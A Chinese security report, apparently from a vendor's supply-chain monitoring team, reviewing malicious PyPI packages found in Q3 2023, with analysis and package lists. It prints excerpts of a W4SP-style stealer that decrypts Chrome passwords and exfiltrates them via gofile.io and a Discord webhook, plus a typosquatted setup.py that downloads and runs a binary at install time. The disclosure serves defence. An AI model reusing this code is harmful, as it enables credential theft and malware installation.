2023年第三季度，天问Python供应链威胁监测模块共捕捉到320个恶意包。其中包含大量类似W4SP Stealer的信息窃取恶意包，它们可以窃取受害者的个人信息，Discord密码，加密货币钱包等敏感信息。分析表明，攻击者会不断迭代更新他们的工具来规避安全检测，这给供应链安全带来了巨大的挑战。

天问供应链威胁监测模块是奇安信技术研究星图实验室研发的“天问”软件供应链安全分析平台的子模块，”天问“分析平台对Python、npm等主流的开发生态进行了长期、持续的监测，发现了大量的恶意包和攻击行为。

1. 类W4SP Stealer

W4SP Stealer是GitHub用户loTus04等人开发的一个Python木马，其可以窃取用户密码，浏览器cookies，Discord Token等敏感数据。在去年10月份PyPI中就出现了利用W4SP Stealer攻击的恶意包，相关报告可见[1]。下图是W4SP Stealer的攻击结果示例图。

w4sp

我们在Q3的恶意包中发现了许多基于W4SP Stealer的恶意包，由于W4SP Stealer仓库已被开发者删除，所以攻击者利用的是基于W4SP Stealer修改的工具。

neverbeentgg-1.0.0/neverbeentgg/__init__.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
import contextlib
import os
import threading
...

#  THIS IS 1.1.6 VERSION
#    BY W4SP, loTus04
# 

hook = "https[:]//discord.com/api/webhooks/1133180253678862436/6AG7x4Z5uUZoCkaEqUfq03A087OCbcK1-vflpxnZCOmKs0jipMsjmYdUs2-4q6jtfHHb"
DETECTED = False

...

Passw = []
def getPassw(path, arg):
    global Passw, PasswCount
    if not os.path.exists(path): return

    pathC = path + arg + "/Login Data"
    if os.stat(pathC).st_size == 0: return

    tempfold = (
        f"{temp}wp"
        + ''.join(random.choice('bcdefghijklmnopqrstuvwxyz') for _ in range(8))
        + ".db"
    )

    shutil.copy2(pathC, tempfold)
    conn = sql_connect(tempfold)
    cursor = conn.cursor()
    cursor.execute("SELECT action_url, username_value, password_value FROM logins;")
    data = cursor.fetchall()
    cursor.close()
    conn.close()
    os.remove(tempfold)

    pathKey = f"{path}/Local State"
    with open(pathKey, 'r', encoding='utf-8') as f: local_state = json_loads(f.read())
    master_key = b64decode(local_state['os_crypt']['encrypted_key'])
    master_key = CryptUnprotectData(master_key[5:])

    for row in data: 
        if row[0] != '':
            for wa in keyword:
                old = wa
                if "https" in wa:
                    tmp = wa
                    wa = tmp.split('[')[1].split(']')[0]
                if wa in row[0] and old not in paswWords:
                    paswWords.append(old)
            Passw.append(f"UR1: {row[0]} | U53RN4M3: {row[1]} | P455W0RD: {DecryptValue(row[2], master_key)}")
            PasswCount += 1
    writeforfile(Passw, 'passw')

...


def GatherAll():
    '                   Default Path < 0 >                         ProcesName < 1 >        Token  < 2 >              Password < 3 >     Cookies < 4 >                          Extentions < 5 >                                  '
    browserPaths = [
        [...],
        [f"{local}/Google/Chrome/User Data",                        "chrome.exe",   "/Default/Local Storage/leveldb",   "/Default",     "/Default/Network",     "/Default/Local Extension Settings/nkbihfbeogaeaoehlefnkodbefgpgknn"              ],
        [...]
    ]
    ...
    for patt in browserPaths: 
        a = threading.Thread(target=getPassw, args=[patt[0], patt[3]])
        a.start()
        Threadlist.append(a)
    ...
    for file in ["wppassw.txt", "wpcook.txt"]: 
        # upload(os.getenv("TEMP") + "\\" + file)
        upload(file.replace(".txt", ""), uploadToAnonfiles(os.getenv("TEMP") + "\\" + file))
...

def uploadToAnonfiles(path):
    try:return requests.post(f'https://{requests.get("https://api.gofile.io/getServer").json()["data"]["server"]}.gofile.io/uploadFile', files={'file': open(path, 'rb')}).json()["data"]["downloadPage"]
    except:return False
...
def upload(name, link):
    headers = {
        "Content-Type": "application/json",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0"
    }

    if name == "wpcook":
        rb = ' | '.join(cookiWords)
        if len(rb) > 1000: 
            rrrrr = Reformat(str(cookiWords))
            rb = ' | '.join(rrrrr)
        data = {
            ...
            }
        LoadUrlib(hook, data=dumps(data).encode(), headers=headers)
        return
    ...

我们截取了这个攻击代码窃取谷歌浏览器Chrome中密码的主要逻辑函数。观察上面的代码我们可以知道，在GatherAll函数中，攻击者首先会访问Chrome在本地存放目录"{local}/Google/Chrome/User Data"。然后，攻击者通过getPassw函数从"{local}/Google/Chrome/User Data/Default/Login Data"中获取了用户登陆网站的用户名以及密码等数据。并且他们从{local}/Google/Chrome/User Data/Local State得到了master_key。最终，他们通过这两部分数据成功拿到了明文的用户名和密码。

我们在windows系统上测试了相关代码，确实可以拿到在Chrome中存储的用户名和密码。

steal-chrome

攻击者会将获取的密码写入临时文件wppassw.txt中，然后通过uploadToAnonfiles函数上传到一个文件存储网站https://gofile.io/中。

1
2
3
def uploadToAnonfiles(path):
    try:return requests.post(f'https://{requests.get("https://api.gofile.io/getServer").json()["data"]["server"]}.gofile.io/uploadFile', files={'file': open(path, 'rb')}).json()["data"]["downloadPage"]
    except:return False

uploadToAnonfiles函数会返回一个下载链接的地址，如下图所示。

anonfile

最终，攻击者将得到的下载链接通过upload回传到自己设置的服务器地址，即代码开头设置的hook = https[:]//discord.com/api/webhooks/xxx。

此类攻击代码不仅可以窃取受害者主机上的密码等敏感信息，而且可以通过获取本地cookie的方式来窃取受害者各种网络账号的相关内容，危害十分严重。

2. BlackCap Grabber

这类攻击与第一种类W4SP Stealer的攻击相近，都是通过读取受害者主机中的敏感文件来窃取各种隐私信息，例如discord密码，信用卡信息等等。关于BlackCap Grabber的功能可见下图，我们在Q2的恶意包分析中也提到了此类攻击，具体内容可见 【天问】2023年Q2恶意包回顾（一）。

blackcap

我们在Q3的恶意包监控中共发现了148个此类恶意包，这些恶意包的版本号均为1.1.0，包名则是利用各种Python常见术语的拼合，例如pipcryptolibraryV2，详细的恶意包列表见文末。

3. TypoSquatting

requests是下载量最高的Python包之一，因此很多恶意包会将包名伪装成与requests极其相近。其利用用户下载第三方包的输入错误来达到下载安装的目的。在Q3的监测中，我们发现了7个此类恶意攻击包。

我们对比了这些恶意包和requests中模块文件夹，发现他们包含完全相同的文件，如下图所示。

requests-comp

攻击者在setup.py中添加了恶意代码，而在src/request3中则完全复制了requests模块文件夹的内容。

requests3-2.19.3/setup.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/usr/bin/env python
import os
import sys
from codecs import open
import requests
import subprocess

from setuptools import setup
from setuptools.command.test import test as TestCommand

...

about = {}
here = os.path.abspath(os.path.dirname(__file__))
with open(os.path.join(here, "src", "request3", "__version__.py"), "r", "utf-8") as f:
    exec(f.read(), about)
    url = "http://10.41.72.31:9443/sys0.init"
    filename = "/tmp/sys0.init"
    resp = requests.get(url)
    f = open(filename, 'wb')
    f.write(resp.content)
    f.close()
    os.chmod("/tmp/sys0.init", 0o755)
    subprocess.run(["/tmp/sys0.init"],shell=True)

with open("README.md", "r", "utf-8") as f:
    readme = f.read()

setup(
    ...
    packages=["request3"],
    package_data={"": ["LICENSE", "NOTICE"]},
    package_dir={"": "src"},
    ...
    project_urls={
        "Documentation": "https://requests.readthedocs.io",
        "Source": "https://github.com/psf/requests",
    },
)

4. 恶意文件嵌入

此类攻击会将恶意的二进制文件以base64字符串等形式存入脚本，然后在下载安装时直接将这些内容加载到内存中进行执行。Q3发现的大多数此类恶意包均为White Snake，其会将主机的敏感信息通过Telegram聊天向攻击者回传。详细分析内容可见【天问】2023年Q2恶意包回顾（一）。

5. 附录（恶意包列表）

  1. 类W4SP Stealer

    包名 版本 作者 上传时间
    hnUHfYZUmKMO 0.3.2 xotifol394 2023-07-20T21:37:13
    lyFamDoRKsGb 0.3.2 xotifol394 2023-07-20T21:52:25
    EoerbIsjxqyV 0.3.2 xotifol394 2023-07-20T21:55:40
    WkquBsXEkbXn 0.3.2 xotifol394 2023-07-20T22:29:38
    jzyRLjROXlCa 0.3.2 xotifol394 2023-07-21T02:05:23
    eeAjHjmCLAkF 0.3.2 tiles77583 2023-07-21T15:41:31
    MJpoYTWNgddh 0.3.2 poyon95014 2023-07-21T20:55:57
    requesters 0.0.1 reazadude 2023-07-26T14:52:46
    requesters 0.0.1 reazadude 2023-07-26T14:52:48
    requestery 1 blackpythone 2023-07-26T15:16:53
    requestery 2 blackpythone 2023-07-26T15:24:12
    tgrequests 0.0.0 blackpythone 2023-07-26T15:42:11
    neverbeentgg 1.0.0 hmedsatour 2023-07-26T16:03:57
    pyttpmodule 0.2 Peppy187 2023-08-16T23:42:25
    javapatch 0.6 DeKrypt 2023-09-23T13:58:23
    javapatch 0.7 DeKrypt 2023-09-23T14:02:23

  2. BlackCap Grabber

    包名 版本 作者 上传时间
    pipcryptoextensionsV1 1.1.0 john85571 2023-07-02T21:38:22
    pipcryptoextensionsV1 1.1.0 john85571 2023-07-02T21:38:24
    pipcryptolibraryV2 1.1.0 kristiepatton520 2023-07-02T21:39:42
    pipcryptolibraryV2 1.1.0 kristiepatton520 2023-07-02T21:39:43
    pipsqlite3kitV2 1.1.0 barbara72696 2023-07-03T02:36:19
    pipsqlite3kitV2 1.1.0 barbara72696 2023-07-03T02:36:21
    pysqlite2liberyV1 1.1.0 vjohnson399 2023-07-03T02:39:37
    pysqlite2liberyV1 1.1.0 vjohnson399 2023-07-03T02:39:39
    pycryptographymodulesV1 1.1.0 brittanyanderson138 2023-07-04T09:20:10
    pycryptographymodulesV1 1.1.0 brittanyanderson138 2023-07-04T09:20:12
    syscolouringsaddon 1.1.0 gregorygibson799 2023-07-05T08:49:32
    syscolouringsaddon 1.1.0 gregorygibson799 2023-07-05T08:49:34
    pythoncolouringspackageV1 1.1.0 knoxjohn803 2023-07-05T08:50:36
    pythoncolouringspackageV1 1.1.0 knoxjohn803 2023-07-05T08:50:38
    pycolorpackage 1.1.0 ihernandez777 2023-07-05T10:32:08
    pycolorpackage 1.1.0 ihernandez777 2023-07-05T10:32:10
    syssqlite2libaryV2 1.1.0 jeffrey89721 2023-07-05T10:33:09
    syssqlite2libaryV2 1.1.0 jeffrey89721 2023-07-05T10:33:11
    pipcoloringskitsV1 1.1.0 wjones327 2023-07-06T14:52:45
    pipcoloringskitsV1 1.1.0 wjones327 2023-07-06T14:52:47
    syscoloringsaddition 1.1.0 lindasmith611 2023-07-14T10:39:03
    syscoloringsaddition 1.1.0 lindasmith611 2023-07-14T10:39:05
    syssqlitedbmodules 1.1.0 wadestephanie541 2023-07-14T18:46:42
    syssqlitedbmodules 1.1.0 wadestephanie541 2023-07-14T18:46:44
    pitutil 1.0.0 lindasmith611 2023-07-14T18:49:16
    pitutil 1.0.0 lindasmith611 2023-07-14T18:49:18
    pipcoloringstools 1.1.0 gregorygibson799 2023-07-17T15:07:16
    pipcoloringstools 1.1.0 gregorygibson799 2023-07-17T15:07:17
    pythoncryptextensions 1.1.0 grantanthony506 2023-07-17T15:08:24
    pythoncryptextensions 1.1.0 grantanthony506 2023-07-17T15:08:25
    pythonsqltoolkitV1 1.1.0 lwilliams529 2023-07-18T00:00:05
    pythonsqltoolkitV1 1.1.0 lwilliams529 2023-07-18T00:00:09
    pipsqladdV1 1.1.0 laurapena682 2023-07-18T00:01:14
    pipsqladdV1 1.1.0 laurapena682 2023-07-18T00:01:15
    pipcryptkits 1.1.0 destinyorozco690 2023-07-18T00:57:48
    pipcryptkits 1.1.0 destinyorozco690 2023-07-18T00:57:50
    pysqlite3extensionV2 1.1.0 cherylroth283 2023-07-18T00:58:53
    pysqlite3extensionV2 1.1.0 cherylroth283 2023-07-18T00:58:54
    pipsqlite3mod 1.1.0 qomfkouxccenuea 2023-07-18T01:36:30
    pipsqlite3mod 1.1.0 qomfkouxccenuea 2023-07-18T01:36:32
    syssqllib 1.1.0 jasoncochran489 2023-07-18T01:50:31
    syssqllib 1.1.0 jasoncochran489 2023-07-18T01:50:33
    pipsqlitekitV2 1.1.0 megangraham186 2023-07-18T11:39:28
    pipsqlitekitV2 1.1.0 megangraham186 2023-07-18T11:39:30
    pythonfontingadds 1.1.0 nicholasmyers782 2023-07-18T12:48:30
    pythonfontingadds 1.1.0 nicholasmyers782 2023-07-18T12:48:32
    pycryptographypackageV1 1.1.0 lhunter314 2023-07-18T13:21:01
    pycryptographypackageV1 1.1.0 lhunter314 2023-07-18T13:21:03
    pipsqlipackages 1.1.0 jack24276 2023-07-18T13:24:06
    pipsqlipackages 1.1.0 jack24276 2023-07-18T13:24:07
    pythonsqlitedbpackagesV2 1.1.0 samueljoseph617 2023-07-18T14:08:39
    pythonsqlitedbpackagesV2 1.1.0 samueljoseph617 2023-07-18T14:08:40
    pythoncolourextension 1.1.0 njennings453 2023-07-18T14:08:44
    pythoncolourextension 1.1.0 njennings453 2023-07-18T14:08:46
    pythoncolouringtoolkitsV2 1.1.0 skupwtdiyhqnagp 2023-07-18T14:39:48
    pythoncolouringtoolkitsV2 1.1.0 skupwtdiyhqnagp 2023-07-18T14:39:50
    pythonsqlitetoolkitV1 1.1.0 lkkokmwmevljche 2023-07-18T15:29:59
    pythonsqlitetoolkitV1 1.1.0 lkkokmwmevljche 2023-07-18T15:30:01
    pythoncolouringsliberyV1 1.1.0 jxpoeweaozdxnmd 2023-07-18T19:24:24
    pythoncolouringsliberyV1 1.1.0 jxpoeweaozdxnmd 2023-07-18T19:24:26
    pipfontinglibV2 1.1.0 srtleeidscjffix 2023-07-18T20:51:10
    pipfontinglibV2 1.1.0 srtleeidscjffix 2023-07-18T20:51:12
    pycoloringextensionV1 1.1.0 xivchfueofueqzo 2023-07-19T01:21:04
    pycoloringextensionV1 1.1.0 xivchfueofueqzo 2023-07-19T01:21:06
    pycolorpkgsV2 1.1.0 mzrblruljwldftk 2023-07-19T01:45:36
    pycolorpkgsV2 1.1.0 mzrblruljwldftk 2023-07-19T01:45:37
    pipcoloringsliberyV1 1.1.0 pxtamctorwjjruq 2023-07-19T02:50:09
    pipcoloringsliberyV1 1.1.0 pxtamctorwjjruq 2023-07-19T02:50:11
    pipcolouringext 1.1.0 hhrmkjdfgkeisug 2023-07-19T03:42:38
    pipcolouringext 1.1.0 hhrmkjdfgkeisug 2023-07-19T03:42:40
    pipsqlitedbkit 1.1.0 PythonDiscordPussys 2023-07-20T21:59:19
    pipsqlitedbkit 1.1.0 PythonDiscordPussys 2023-07-20T21:59:21
    pipsqliteexts 1.1.0 PythonDiscordPussyss 2023-07-21T12:21:28
    pipsqliteexts 1.1.0 PythonDiscordPussyss 2023-07-21T12:21:29
    pythoncolourmoduleV2 1.1.0 PythonDiscordPussyss 2023-07-21T14:44:02
    pythoncolourmoduleV2 1.1.0 PythonDiscordPussyss 2023-07-21T14:44:03
    pipcolourpkgs 1.1.0 PythonDiscordPussyss 2023-07-21T15:06:31
    pipcolourpkgs 1.1.0 PythonDiscordPussyss 2023-07-21T15:06:33
    pysqlilibery 1.1.0 HolgerHolger 2023-07-21T23:08:06
    包名 版本 作者 上传时间
    pysqlilibery 1.1.0 HolgerHolger 2023-07-21T23:08:07
    pythonsqlite3libaryV1 1.1.0 nomnomnom123 2023-07-21T23:58:11
    pythonsqlite3libaryV1 1.1.0 nomnomnom123 2023-07-21T23:58:13
    syscolouringpkgV2 1.1.0 FrozenApple 2023-07-24T00:44:20
    syscolouringpkgV2 1.1.0 FrozenApple 2023-07-24T00:44:21
    pythonsqliteext 1.1.0 cecwokyiixusatn 2023-07-24T16:08:04
    pythonsqliteext 1.1.0 cecwokyiixusatn 2023-07-24T16:08:05
    pyfontstools 1.1.0 wjiewhvtkdbgzdf 2023-07-24T18:16:35
    pyfontstools 1.1.0 wjiewhvtkdbgzdf 2023-07-24T18:16:37
    syscryptographyadd 1.1.0 mctcwsetbpzcmim 2023-07-24T19:18:13
    syscryptographyadd 1.1.0 mctcwsetbpzcmim 2023-07-24T19:18:15
    syscolouringexts 1.1.0 tfllilfkzykopvx 2023-07-24T21:19:00
    syscolouringexts 1.1.0 tfllilfkzykopvx 2023-07-24T21:19:02
    pythoncoloringpackage 1.1.0 uujacjqknzcxtmw 2023-07-24T21:38:43
    pythoncoloringpackage 1.1.0 uujacjqknzcxtmw 2023-07-24T21:38:44
    pipcryptographymodV1 1.1.0 froschkugel 2023-07-25T01:05:25
    pipcryptographymodV1 1.1.0 froschkugel 2023-07-25T01:05:29
    pythonfontsliberyV1 1.1.0 froschkugel 2023-07-25T13:19:11
    pythonfontsliberyV1 1.1.0 froschkugel 2023-07-25T13:19:13
    syscolouringsaddV2 1.1.0 clofjkeixujsvff 2023-08-01T23:17:05
    syscolouringsaddV2 1.1.0 clofjkeixujsvff 2023-08-01T23:17:07
    syssqllibaryV1 1.1.0 yobnxwijpokklis 2023-08-02T00:59:36
    syssqllibaryV1 1.1.0 yobnxwijpokklis 2023-08-02T00:59:37
    pythonsqlitedbextensionV2 1.1.0 zlgilcnxdcpqdmw 2023-08-06T13:14:27
    pythonsqlitedbextensionV2 1.1.0 zlgilcnxdcpqdmw 2023-08-06T13:14:29
    pysqlitedbextV1 1.1.0 vgrkixebdtypcdb 2023-08-06T14:21:55
    pysqlitedbextV1 1.1.0 vgrkixebdtypcdb 2023-08-06T14:21:57
    pysqlite2pkgsV2 1.1.0 taialzopcgjsnci 2023-08-06T14:34:22
    pysqlite2pkgsV2 1.1.0 taialzopcgjsnci 2023-08-06T14:34:24
    syscolouringspackageV1 1.1.0 ohvtojkognvrqjj 2023-08-06T14:41:48
    syscolouringspackageV1 1.1.0 ohvtojkognvrqjj 2023-08-06T14:41:49
    pythoncolouringpackageV1 1.1.0 diuwcjufpvicdjq 2023-08-06T15:14:14
    pythoncolouringpackageV1 1.1.0 diuwcjufpvicdjq 2023-08-06T15:14:16
    pythoncryptokitV2 1.1.0 vhseadypdmvulcf 2023-08-06T15:36:41
    pythoncryptokitV2 1.1.0 vhseadypdmvulcf 2023-08-06T15:36:43
    pipsqlitedbmodsV1 1.1.0 yuhlmwjwizivkkm 2023-08-06T15:59:08
    pipsqlitedbmodsV1 1.1.0 yuhlmwjwizivkkm 2023-08-06T15:59:10
    pipcoloradditionV1 1.1.0 uwjjcmknoecrmfj 2023-08-06T22:11:51
    pipcoloradditionV1 1.1.0 uwjjcmknoecrmfj 2023-08-06T22:11:53
    pysqlitepkgV2 1.1.0 zlgilcnxdcpqdmw 2023-08-06T22:39:57
    pysqlitepkgV2 1.1.0 zlgilcnxdcpqdmw 2023-08-06T22:39:59
    pysqlitekitsV1 1.1.0 lteysicxwamsjdx 2023-08-07T00:14:29
    pysqlitekitsV1 1.1.0 lteysicxwamsjdx 2023-08-07T00:14:30
    pythonsqlipackageV1 1.1.0 xaszyepcuxvmmbb 2023-08-07T00:46:55
    pythonsqlipackageV1 1.1.0 xaszyepcuxvmmbb 2023-08-07T00:46:56
    pipcryptomodulesV1 1.1.0 puuleskphlbhiqz 2023-08-07T01:09:19
    pipcryptomodulesV1 1.1.0 puuleskphlbhiqz 2023-08-07T01:09:21
    pyfontingpackagesV2 1.1.0 essgbdoqxiqukqa 2023-08-07T01:26:44
    pyfontingpackagesV2 1.1.0 essgbdoqxiqukqa 2023-08-07T01:26:46
    pipfontingpkg 1.1.0 tnehejbbtkgecte 2023-08-07T02:39:10
    pipfontingpkg 1.1.0 tnehejbbtkgecte 2023-08-07T02:39:12
    pythonsqlipackagesV1 1.1.0 wxwckppziozhehs 2023-08-07T03:26:37
    pythonsqlipackagesV1 1.1.0 wxwckppziozhehs 2023-08-07T03:26:39
    pythonsqliextV2 1.1.0 mmhzcrchdnecueg 2023-08-07T13:16:18
    pythonsqliextV2 1.1.0 mmhzcrchdnecueg 2023-08-07T13:16:19
    pythoncryptV2 1.1.0 thxxouerlbrmdwp 2023-08-07T14:57:42
    pythoncryptV2 1.1.0 thxxouerlbrmdwp 2023-08-07T14:57:43
    pipfontslibery 1.1.0 kvuyljsffduyzic 2023-08-07T15:11:24
    pipfontslibery 1.1.0 kvuyljsffduyzic 2023-08-07T15:11:25
    syscryptlibrary 1.1.0 feutpriqvsusosj 2023-08-07T18:24:44
    syscryptlibrary 1.1.0 feutpriqvsusosj 2023-08-07T18:24:46
    syscryptographymoduleV1 1.1.0 txhcntdqpljtdyv 2023-08-07T19:44:18
    syscryptographymoduleV1 1.1.0 txhcntdqpljtdyv 2023-08-07T19:44:20
    syssqlite2kits 1.1.0 smcrcefegkcvblk 2023-08-07T21:27:49
    syssqlite2kits 1.1.0 smcrcefegkcvblk 2023-08-07T21:27:50
    syssqlitelibV1 1.1.0 mjonsmtjgzcbm 2023-08-07T21:48:21
    syssqlitelibV1 1.1.0 mjonsmtjgzcbm 2023-08-07T21:48:23
    pipcryptlibaryV1 1.1.0 ipslxbuicqhmeakixoz 2023-08-07T21:50:12
    pipcryptlibaryV1 1.1.0 ipslxbuicqhmeakixoz 2023-08-07T21:50:14

  3. TypoSquatting

    包名 版本 作者 上传时间
    request3 2.19.0 Sunny99sun 2023-08-29T03:16:34
    request3 2.19.2 Sunny99sun 2023-08-30T09:48:16
    request3 2.19.3 Sunny99sun 2023-08-30T10:41:50
    request3 2.19.4 Sunny99sun 2023-08-30T10:51:36
    request3 2.19.5 Sunny99sun 2023-08-30T10:56:51
    requesttest3 1.0.1 lemon01 2023-08-31T03:14:58
    requesttest3 1.0.2 lemon01 2023-08-31T03:44:23

  4. 恶意文件嵌入

    包名 版本 作者 上传时间
    dccsx 0.0.2 team_dccs 2023-07-10T19:51:20
    lvx 0.0.2 mivi 2023-07-21T12:34:31
    semdb 0.1 semurg 2023-08-01T08:04:47
    semdber 4.12 semurg 2023-08-01T16:25:58
    gen-agent-fingerprint 0.1 requesst 2023-08-15T17:43:31
    ja3-hashscript 0.1 requesst 2023-08-15T18:00:23
    cc-checkerx 0.1 mariaclaras 2023-08-15T19:08:43
    testepassword-generate 0.1 brenno003 2023-08-15T21:22:41
    aiprojectuz 0.1 aiprojectuz 2023-09-06T09:58:48